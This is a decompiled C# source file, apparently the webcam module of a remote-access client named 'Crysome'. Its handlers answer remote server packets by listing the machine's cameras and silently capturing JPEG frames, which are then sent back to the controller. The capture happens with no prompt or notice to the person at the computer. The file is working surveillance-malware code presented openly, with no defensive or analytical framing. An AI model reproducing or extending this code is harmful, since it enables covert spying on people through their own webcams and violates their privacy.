Files
2026-08-27 11:22:54 -06:00

158 lines
5.4 KiB
C#

using System;
using System.Collections;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using AForge.Video;
using AForge.Video.DirectShow;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class CameraHandlers
{
public static void HandleGetCameraDevices(CrysomeClient client, IPacket packet)
{
//IL_008f: Unknown result type (might be due to invalid IL or missing references)
//IL_0099: Expected O, but got Unknown
//IL_0037: Unknown result type (might be due to invalid IL or missing references)
//IL_0041: Expected O, but got Unknown
Program.Log("[CAM] HandleGetCameraDevices ENTER");
try
{
string[] cameraDeviceNames = GetCameraDeviceNames();
Program.Log("[CAM] GetCameraDeviceNames returned " + ((cameraDeviceNames != null) ? cameraDeviceNames.Length : 0) + " devices");
client.SendPacket((IPacket)new CameraDevicesResponsePacket(cameraDeviceNames));
Program.Log("[CAM] HandleGetCameraDevices sent response OK");
}
catch (Exception ex)
{
Program.Log("[CAM] GetCameraDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
Program.Log("[CAM] Stack: " + ex.StackTrace);
try
{
client.SendPacket((IPacket)new CameraDevicesResponsePacket(new string[0]));
Program.Log("[CAM] Sent empty fallback");
}
catch (Exception ex2)
{
Program.Log("[CAM] Fallback send failed: " + ex2.Message);
}
}
}
public static void HandleRequestCameraFrame(CrysomeClient client, IPacket packet)
{
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
//IL_0011: Expected O, but got Unknown
//IL_00c3: Unknown result type (might be due to invalid IL or missing references)
//IL_00cd: Expected O, but got Unknown
//IL_006b: Unknown result type (might be due to invalid IL or missing references)
//IL_0075: Expected O, but got Unknown
Program.Log("[CAM] HandleRequestCameraFrame ENTER");
try
{
RequestCameraFramePacket val = (RequestCameraFramePacket)packet;
Program.Log("[CAM] CaptureCameraFrame idx=" + val.DeviceIndex);
byte[] array = CaptureCameraFrame(val.DeviceIndex);
Program.Log("[CAM] Capture done, " + ((array != null) ? array.Length : 0) + " bytes");
client.SendPacket((IPacket)new CameraFramePacket(array ?? new byte[0]));
Program.Log("[CAM] HandleRequestCameraFrame sent OK");
}
catch (Exception ex)
{
Program.Log("[CAM] RequestCameraFrame EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
Program.Log("[CAM] Stack: " + ex.StackTrace);
try
{
client.SendPacket((IPacket)new CameraFramePacket(new byte[0]));
}
catch
{
}
}
}
public static string[] GetCameraDeviceNames()
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
Program.Log("[CAM] GetCameraDeviceNames ENTER");
try
{
FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
List<string> list = new List<string>();
for (int i = 0; i < ((CollectionBase)(object)val).Count; i++)
{
list.Add(val[i].Name ?? ("Camera " + i));
}
return list.ToArray();
}
catch (FileNotFoundException ex)
{
Program.Log("[CAM] AForge DLL missing: " + ex.FileName + " - copy AForge.Video.DirectShow.dll next to exe");
return new string[0];
}
catch (Exception ex2)
{
Program.Log("[CAM] GetCameraDeviceNames: " + ex2.Message);
return new string[0];
}
}
private static byte[] CaptureCameraFrame(int deviceIndex)
{
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
//IL_0011: Expected O, but got Unknown
//IL_0047: Unknown result type (might be due to invalid IL or missing references)
//IL_0066: Unknown result type (might be due to invalid IL or missing references)
//IL_006c: Expected O, but got Unknown
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
//IL_0073: Unknown result type (might be due to invalid IL or missing references)
//IL_008a: Unknown result type (might be due to invalid IL or missing references)
//IL_0090: Unknown result type (might be due to invalid IL or missing references)
try
{
FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
if (((CollectionBase)(object)val).Count == 0)
{
return new byte[0];
}
int num = Math.Max(0, Math.Min(deviceIndex, ((CollectionBase)(object)val).Count - 1));
VideoCaptureDevice val2 = new VideoCaptureDevice(val[num].MonikerString);
byte[] result = null;
ManualResetEvent ev = new ManualResetEvent(initialState: false);
NewFrameEventHandler val3 = (NewFrameEventHandler)delegate(object s, NewFrameEventArgs e)
{
try
{
using Bitmap bitmap = (Bitmap)e.Frame.Clone();
using MemoryStream memoryStream = new MemoryStream();
bitmap.Save(memoryStream, ImageFormat.Jpeg);
result = memoryStream.ToArray();
}
catch
{
}
ev.Set();
};
val2.NewFrame += val3;
val2.Start();
ev.WaitOne(5000);
val2.SignalToStop();
val2.WaitForStop();
val2.NewFrame -= val3;
return result ?? new byte[0];
}
catch (Exception)
{
return new byte[0];
}
}
}